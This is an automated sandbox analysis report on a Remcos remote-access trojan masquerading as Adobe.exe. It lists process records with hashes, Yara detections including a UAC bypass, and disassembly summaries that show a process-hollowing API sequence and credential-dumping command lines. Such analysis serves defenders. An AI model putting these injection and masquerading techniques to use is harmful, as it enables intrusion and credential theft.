                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xe50000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            Reputation:low
                                                                                                                            Has exited:false

                                                                                                                            General

                                                                                                                            Target ID:5
                                                                                                                            Start time:23:32:13
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn"
                                                                                                                            Imagebase:0x550000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:6
                                                                                                                            Start time:23:32:13
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):false
                                                                                                                            Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"
                                                                                                                            Imagebase:0x200000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:7
                                                                                                                            Start time:23:32:13
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"
                                                                                                                            Imagebase:0xf10000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:8
                                                                                                                            Start time:23:32:13
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\onurakujvtpjmhztaghtrsxnnatrlexmp"
                                                                                                                            Imagebase:0xf30000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:9
                                                                                                                            Start time:23:32:15
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0x620000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:10
                                                                                                                            Start time:23:32:16
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xf40000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:14
                                                                                                                            Start time:23:32:23
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xea0000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:15
                                                                                                                            Start time:23:32:24
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):false
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0x2d0000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:16
                                                                                                                            Start time:23:32:24
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xe20000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:17
                                                                                                                            Start time:23:32:31
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xfc0000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:18
                                                                                                                            Start time:23:32:33
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xf90000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:false
                                                                                                                            Has administrator privileges:false
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            Disassembly

                                                                                                                            Reset < >

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:9.6%
                                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                                              Signature Coverage:0%
                                                                                                                              Total number of Nodes:176
                                                                                                                              Total number of Limit Nodes:15
                                                                                                                              execution_graph 47379 76e50ee 47381 76e511e 47379->47381 47380 76e51b5 47381->47380 47386 76e5a0e 47381->47386 47403 76e5961 47381->47403 47420 76e59b0 47381->47420 47436 76e59a0 47381->47436 47387 76e599c 47386->47387 47388 76e5a11 47386->47388 47398 76e59ee 47387->47398 47452 76e6849 47387->47452 47458 76e5f48 47387->47458 47463 76e652b 47387->47463 47467 76e682b 47387->47467 47472 76e65b1 47387->47472 47477 76e5dd2 47387->47477 47482 76e6140 47387->47482 47486 76e5fc0 47387->47486 47493 76e61c4 47387->47493 47501 76e6467 47387->47501 47506 76e5ea6 47387->47506 47511 76e6426 47387->47511 47516 76e6726 47387->47516 47388->47380 47398->47380 47404 76e59b9 47403->47404 47405 76e596a 47403->47405 47406 76e59ee 47404->47406 47407 76e682b 2 API calls 47404->47407 47408 76e652b 2 API calls 47404->47408 47409 76e5f48 2 API calls 47404->47409 47410 76e6849 2 API calls 47404->47410 47411 76e6726 2 API calls 47404->47411 47412 76e6426 2 API calls 47404->47412 47413 76e5ea6 2 API calls 47404->47413 47414 76e6467 2 API calls 47404->47414 47415 76e61c4 4 API calls 47404->47415 47416 76e5fc0 4 API calls 47404->47416 47417 76e6140 2 API calls 47404->47417 47418 76e5dd2 2 API calls 47404->47418 47419 76e65b1 2 API calls 47404->47419 47405->47380 47406->47380 47407->47406 47408->47406 47409->47406 47410->47406 47411->47406 47412->47406 47413->47406 47414->47406 47415->47406 47416->47406 47417->47406 47418->47406 47419->47406 47421 76e59ca 47420->47421 47422 76e682b 2 API calls 47421->47422 47423 76e652b 2 API calls 47421->47423 47424 76e5f48 2 API calls 47421->47424 47425 76e6849 2 API calls 47421->47425 47426 76e6726 2 API calls 47421->47426 47427 76e6426 2 API calls 47421->47427 47428 76e5ea6 2 API calls 47421->47428 47429 76e6467 2 API calls 47421->47429 47430 76e61c4 4 API calls 47421->47430 47431 76e59ee 47421->47431 47432 76e5fc0 4 API calls 47421->47432 47433 76e6140 2 API calls 47421->47433 47434 76e5dd2 2 API calls 47421->47434 47435 76e65b1 2 API calls 47421->47435 47422->47431 47423->47431 47424->47431 47425->47431 47426->47431 47427->47431 47428->47431 47429->47431 47430->47431 47431->47380 47432->47431 47433->47431 47434->47431 47435->47431 47437 76e59b0 47436->47437 47438 76e682b 2 API calls 47437->47438 47439 76e652b 2 API calls 47437->47439 47440 76e5f48 2 API calls 47437->47440 47441 76e6849 2 API calls 47437->47441 47442 76e6726 2 API calls 47437->47442 47443 76e6426 2 API calls 47437->47443 47444 76e5ea6 2 API calls 47437->47444 47445 76e6467 2 API calls 47437->47445 47446 76e61c4 4 API calls 47437->47446 47447 76e59ee 47437->47447 47448 76e5fc0 4 API calls 47437->47448 47449 76e6140 2 API calls 47437->47449 47450 76e5dd2 2 API calls 47437->47450 47451 76e65b1 2 API calls 47437->47451 47438->47447 47439->47447 47440->47447 47441->47447 47442->47447 47443->47447 47444->47447 47445->47447 47446->47447 47447->47380 47448->47447 47449->47447 47450->47447 47451->47447 47453 76e6856 47452->47453 47454 76e643d 47452->47454 47455 76e6869 47454->47455 47520 76e4248 47454->47520 47524 76e4240 47454->47524 47459 76e5f6b 47458->47459 47528 76e48c8 47459->47528 47532 76e48c1 47459->47532 47460 76e6674 47536 76e42f8 47463->47536 47540 76e42f0 47463->47540 47464 76e6545 47468 76e643d 47467->47468 47469 76e6869 47468->47469 47470 76e4248 ResumeThread 47468->47470 47471 76e4240 ResumeThread 47468->47471 47470->47468 47471->47468 47473 76e643d 47472->47473 47474 76e6869 47473->47474 47475 76e4248 ResumeThread 47473->47475 47476 76e4240 ResumeThread 47473->47476 47475->47473 47476->47473 47478 76e5dd8 47477->47478 47479 76e5ee6 47478->47479 47544 76e4b44 47478->47544 47548 76e4b50 47478->47548 47479->47398 47552 76e49b8 47482->47552 47556 76e49b0 47482->47556 47483 76e6131 47491 76e42f8 Wow64SetThreadContext 47486->47491 47492 76e42f0 Wow64SetThreadContext 47486->47492 47487 76e5ff4 47488 76e6869 47487->47488 47489 76e4248 ResumeThread 47487->47489 47490 76e4240 ResumeThread 47487->47490 47489->47487 47490->47487 47491->47487 47492->47487 47494 76e62ce 47493->47494 47560 76e43c8 47494->47560 47564 76e43d0 47494->47564 47495 76e62aa 47495->47398 47496 76e62ec 47496->47495 47497 76e48c8 WriteProcessMemory 47496->47497 47498 76e48c1 WriteProcessMemory 47496->47498 47497->47496 47498->47496 47502 76e6413 47501->47502 47502->47501 47503 76e62aa 47502->47503 47504 76e48c8 WriteProcessMemory 47502->47504 47505 76e48c1 WriteProcessMemory 47502->47505 47503->47398 47504->47502 47505->47502 47507 76e5eac 47506->47507 47509 76e4b44 CreateProcessA 47507->47509 47510 76e4b50 CreateProcessA 47507->47510 47508 76e5ee6 47508->47398 47509->47508 47510->47508 47512 76e642c 47511->47512 47513 76e6869 47512->47513 47514 76e4248 ResumeThread 47512->47514 47515 76e4240 ResumeThread 47512->47515 47514->47512 47515->47512 47518 76e48c8 WriteProcessMemory 47516->47518 47519 76e48c1 WriteProcessMemory 47516->47519 47517 76e674a 47518->47517 47519->47517 47521 76e4288 ResumeThread 47520->47521 47523 76e42b9 47521->47523 47523->47454 47525 76e4288 ResumeThread 47524->47525 47527 76e42b9 47525->47527 47527->47454 47529 76e4910 WriteProcessMemory 47528->47529 47531 76e4967 47529->47531 47531->47460 47533 76e48c8 WriteProcessMemory 47532->47533 47535 76e4967 47533->47535 47535->47460 47537 76e433d Wow64SetThreadContext 47536->47537 47539 76e4385 47537->47539 47539->47464 47541 76e433d Wow64SetThreadContext 47540->47541 47543 76e4385 47541->47543 47543->47464 47545 76e4b50 CreateProcessA 47544->47545 47547 76e4d9b 47545->47547 47547->47547 47549 76e4bd9 CreateProcessA 47548->47549 47551 76e4d9b 47549->47551 47551->47551 47553 76e4a03 ReadProcessMemory 47552->47553 47555 76e4a47 47553->47555 47555->47483 47557 76e49b8 ReadProcessMemory 47556->47557 47559 76e4a47 47557->47559 47559->47483 47561 76e43d0 VirtualAllocEx 47560->47561 47563 76e444d 47561->47563 47563->47496 47565 76e4410 VirtualAllocEx 47564->47565 47567 76e444d 47565->47567 47567->47496 47600 7641900 47601 764194e DrawTextExW 47600->47601 47603 76419a6 47601->47603 47568 ff4668 47569 ff467a 47568->47569 47570 ff4686 47569->47570 47572 ff4781 47569->47572 47573 ff47a5 47572->47573 47577 ff4890 47573->47577 47581 ff4880 47573->47581 47579 ff48b7 47577->47579 47578 ff4994 47578->47578 47579->47578 47585 ff449c 47579->47585 47583 ff48b7 47581->47583 47582 ff4994 47582->47582 47583->47582 47584 ff449c CreateActCtxA 47583->47584 47584->47582 47586 ff5920 CreateActCtxA 47585->47586 47588 ff59e3 47586->47588 47589 ffeed8 47590 ffef1a 47589->47590 47591 ffef20 GetModuleHandleW 47589->47591 47590->47591 47592 ffef4d 47591->47592 47593 76e6d40 47594 76e6ecb 47593->47594 47596 76e6d66 47593->47596 47596->47594 47597 76e3518 47596->47597 47598 76e6fc0 PostMessageW 47597->47598 47599 76e702c 47598->47599 47599->47596

                                                                                                                              Executed Functions

                                                                                                                              Function 076E7D30 Relevance: .6, Instructions: 627COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 98dee5f41ee21a8a112999c499e9f129d5e48f82fe14502ba470cb77f670d942
                                                                                                                              • Instruction ID: f8316cb72bb39f9f7ebb6df88e96942dd90e15bc757cd713e8fde5a9b5bf4d16
                                                                                                                              • Opcode Fuzzy Hash: 98dee5f41ee21a8a112999c499e9f129d5e48f82fe14502ba470cb77f670d942
                                                                                                                              • Instruction Fuzzy Hash: 31329EB07022098FDB19DB79C950BAEBBFAAF89700F144469E546DB3A1CB35DD01CB61
                                                                                                                              Function 0764DA30 Relevance: .1, Instructions: 111COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737294135.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7640000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 2b651fdb13c224aa5a344bcac84f5fbb10a38074c77d759078c94d5b6695375a
                                                                                                                              • Instruction ID: 6ce9c2fb2ee4c33f804e4fd6f8703eb3f2b486ddd8021a950054eaa95704a236
                                                                                                                              • Opcode Fuzzy Hash: 2b651fdb13c224aa5a344bcac84f5fbb10a38074c77d759078c94d5b6695375a
                                                                                                                              • Instruction Fuzzy Hash: 8C4118B4E1621ACFC760CF69D584A9EFBF6BF4A300F44A595E10A9B302D730A981CF45
                                                                                                                              Function 05BFCE20 Relevance: 6.6, Strings: 5, Instructions: 334COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 340 5bfce20-5bfce37 342 5bfce9a-5bfcea8 340->342 343 5bfce39-5bfce48 340->343 347 5bfcebb-5bfcebd 342->347 348 5bfceaa-5bfceb5 call 5bfb874 342->348 343->342 346 5bfce4a-5bfce56 call 5bfb920 343->346 354 5bfce6a-5bfce86 346->354 355 5bfce58-5bfce64 call 5bfb930 346->355 447 5bfcebf call 5bfcdf1 347->447 448 5bfcebf call 5bfce20 347->448 348->347 356 5bfcf7a-5bfcff2 348->356 353 5bfcec5-5bfced4 362 5bfceec-5bfceef 353->362 363 5bfced6-5bfcee7 call 5bfb940 353->363 370 5bfce8c-5bfce90 354->370 371 5bfcf35-5bfcf73 354->371 364 5bfce68 355->364 365 5bfcef0-5bfcf2e 355->365 385 5bfcffb-5bfd005 356->385 386 5bfcff4-5bfcffa 356->386 363->362 364->354 365->371 370->342 371->356 389 5bfd00b-5bfd024 call 5bfb964 * 2 385->389 390 5bfd241-5bfd26d 385->390 397 5bfd02a-5bfd04c 389->397 398 5bfd274-5bfd2b1 389->398 390->398 405 5bfd04e-5bfd05c call 5bfb940 397->405 406 5bfd05d-5bfd06c 397->406 417 5bfd2c5-5bfd2ca 398->417 418 5bfd2b3-5bfd2b9 398->418 411 5bfd06e-5bfd08b 406->411 412 5bfd091-5bfd0b2 406->412 411->412 423 5bfd0b4-5bfd0c5 412->423 424 5bfd102-5bfd12a 412->424 420 5bfd2cd 417->420 418->420 421 5bfd2bb-5bfd2c3 418->421 421->417 427 5bfd0c7-5bfd0df call 5bfb974 423->427 428 5bfd0f4-5bfd0f8 423->428 449 5bfd12d call 5bfd502 424->449 450 5bfd12d call 5bfd510 424->450 435 5bfd0e4-5bfd0f2 427->435 436 5bfd0e1-5bfd0e2 427->436 428->424 431 5bfd130-5bfd155 438 5bfd19b 431->438 439 5bfd157-5bfd16c 431->439 435->427 435->428 436->435 438->390 439->438 442 5bfd16e-5bfd191 439->442 442->438 446 5bfd193 442->446 446->438 447->353 448->353 449->431 450->431
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Hbq$Hbq$Hbq$Hbq$Hbq
                                                                                                                              • API String ID: 0-1677660839
                                                                                                                              • Opcode ID: 731868043fe1e058f3a11ab8839d99c4d494389076b608358e590d52fa54cb24
                                                                                                                              • Instruction ID: 8bc0fa5a4a34109a299bb1257cb25a1df8be5dbf81921186980bbddb7a1f569f
                                                                                                                              • Opcode Fuzzy Hash: 731868043fe1e058f3a11ab8839d99c4d494389076b608358e590d52fa54cb24
                                                                                                                              • Instruction Fuzzy Hash: 9CC17B34B006448FCB19EBB8C5549AE7BF6FFC9310B2444A9D506AB3A1CE35ED46CB61
                                                                                                                              Function 05BF1458 Relevance: 2.7, Strings: 2, Instructions: 211COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 623 5bf1458-5bf14ba call 5bf0fd4 629 5bf14bc-5bf14be 623->629 630 5bf1520-5bf154c 623->630 631 5bf14c4-5bf14d0 629->631 632 5bf1553-5bf155b 629->632 630->632 637 5bf14d6-5bf1511 call 5bf0fe0 631->637 638 5bf1562-5bf169d 631->638 632->638 648 5bf1516-5bf151f 637->648 656 5bf16a3-5bf16b1 638->656 657 5bf16ba-5bf1700 656->657 658 5bf16b3-5bf16b9 656->658 663 5bf170d 657->663 664 5bf1702-5bf1705 657->664 658->657 665 5bf170e 663->665 664->663 665->665
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Hbq$Hbq
                                                                                                                              • API String ID: 0-4258043069
                                                                                                                              • Opcode ID: b844180baa40096e2ce6a0a2ef3315709f69e87e9563d01e54fbab317273bbf2
                                                                                                                              • Instruction ID: f60e169a700f57011e940ff7cb415b142d41bbde1d9d77aa996cf75209a3a4bd
                                                                                                                              • Opcode Fuzzy Hash: b844180baa40096e2ce6a0a2ef3315709f69e87e9563d01e54fbab317273bbf2
                                                                                                                              • Instruction Fuzzy Hash: F0816A70E00359DFCB04DFA9C8946AEBBF6FF88300F14856AE509AB395DB349905CB95
                                                                                                                              Function 076E4B44 Relevance: 1.8, APIs: 1, Instructions: 250processCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 875 76e4b44-76e4be5 878 76e4c1e-76e4c3e 875->878 879 76e4be7-76e4bf1 875->879 884 76e4c77-76e4ca6 878->884 885 76e4c40-76e4c4a 878->885 879->878 880 76e4bf3-76e4bf5 879->880 882 76e4c18-76e4c1b 880->882 883 76e4bf7-76e4c01 880->883 882->878 886 76e4c05-76e4c14 883->886 887 76e4c03 883->887 893 76e4cdf-76e4d99 CreateProcessA 884->893 894 76e4ca8-76e4cb2 884->894 885->884 889 76e4c4c-76e4c4e 885->889 886->886 888 76e4c16 886->888 887->886 888->882 890 76e4c50-76e4c5a 889->890 891 76e4c71-76e4c74 889->891 895 76e4c5e-76e4c6d 890->895 896 76e4c5c 890->896 891->884 907 76e4d9b-76e4da1 893->907 908 76e4da2-76e4e28 893->908 894->893 897 76e4cb4-76e4cb6 894->897 895->895 898 76e4c6f 895->898 896->895 899 76e4cb8-76e4cc2 897->899 900 76e4cd9-76e4cdc 897->900 898->891 902 76e4cc6-76e4cd5 899->902 903 76e4cc4 899->903 900->893 902->902 904 76e4cd7 902->904 903->902 904->900 907->908 918 76e4e2a-76e4e2e 908->918 919 76e4e38-76e4e3c 908->919 918->919 922 76e4e30 918->922 920 76e4e3e-76e4e42 919->920 921 76e4e4c-76e4e50 919->921 920->921 923 76e4e44 920->923 924 76e4e52-76e4e56 921->924 925 76e4e60-76e4e64 921->925 922->919 923->921 924->925 926 76e4e58 924->926 927 76e4e76-76e4e7d 925->927 928 76e4e66-76e4e6c 925->928 926->925 929 76e4e7f-76e4e8e 927->929 930 76e4e94 927->930 928->927 929->930 931 76e4e95 930->931 931->931
                                                                                                                              APIs
                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 076E4D86
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 963392458-0
                                                                                                                              • Opcode ID: 06604cb6e677446623f29b7e81921021c8c6197f77736b771f95483c1468a23b
                                                                                                                              • Instruction ID: bf32c3d1bf80f67be26e45f6d957f75c094045df7d5eb60e62e9620034aeca38
                                                                                                                              • Opcode Fuzzy Hash: 06604cb6e677446623f29b7e81921021c8c6197f77736b771f95483c1468a23b
                                                                                                                              • Instruction Fuzzy Hash: C2A16BB1D0125ADFDB10CFB8C8417EDBBB6BF44710F0481A9E849A7290DB749985CFA1
                                                                                                                              Function 076E4B50 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 933 76e4b50-76e4be5 935 76e4c1e-76e4c3e 933->935 936 76e4be7-76e4bf1 933->936 941 76e4c77-76e4ca6 935->941 942 76e4c40-76e4c4a 935->942 936->935 937 76e4bf3-76e4bf5 936->937 939 76e4c18-76e4c1b 937->939 940 76e4bf7-76e4c01 937->940 939->935 943 76e4c05-76e4c14 940->943 944 76e4c03 940->944 950 76e4cdf-76e4d99 CreateProcessA 941->950 951 76e4ca8-76e4cb2 941->951 942->941 946 76e4c4c-76e4c4e 942->946 943->943 945 76e4c16 943->945 944->943 945->939 947 76e4c50-76e4c5a 946->947 948 76e4c71-76e4c74 946->948 952 76e4c5e-76e4c6d 947->952 953 76e4c5c 947->953 948->941 964 76e4d9b-76e4da1 950->964 965 76e4da2-76e4e28 950->965 951->950 954 76e4cb4-76e4cb6 951->954 952->952 955 76e4c6f 952->955 953->952 956 76e4cb8-76e4cc2 954->956 957 76e4cd9-76e4cdc 954->957 955->948 959 76e4cc6-76e4cd5 956->959 960 76e4cc4 956->960 957->950 959->959 961 76e4cd7 959->961 960->959 961->957 964->965 975 76e4e2a-76e4e2e 965->975 976 76e4e38-76e4e3c 965->976 975->976 979 76e4e30 975->979 977 76e4e3e-76e4e42 976->977 978 76e4e4c-76e4e50 976->978 977->978 980 76e4e44 977->980 981 76e4e52-76e4e56 978->981 982 76e4e60-76e4e64 978->982 979->976 980->978 981->982 983 76e4e58 981->983 984 76e4e76-76e4e7d 982->984 985 76e4e66-76e4e6c 982->985 983->982 986 76e4e7f-76e4e8e 984->986 987 76e4e94 984->987 985->984 986->987 988 76e4e95 987->988 988->988
                                                                                                                              APIs
                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 076E4D86
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 963392458-0
                                                                                                                              • Opcode ID: 11798eed34635c4e302a7f94c76f0ef825a5a4319833044323ba8a5733a6cb08
                                                                                                                              • Instruction ID: 4ad5d641b453a9ff19edcf2eba508327ba65ba0e809475bbd9e1c597467c4e19
                                                                                                                              • Opcode Fuzzy Hash: 11798eed34635c4e302a7f94c76f0ef825a5a4319833044323ba8a5733a6cb08
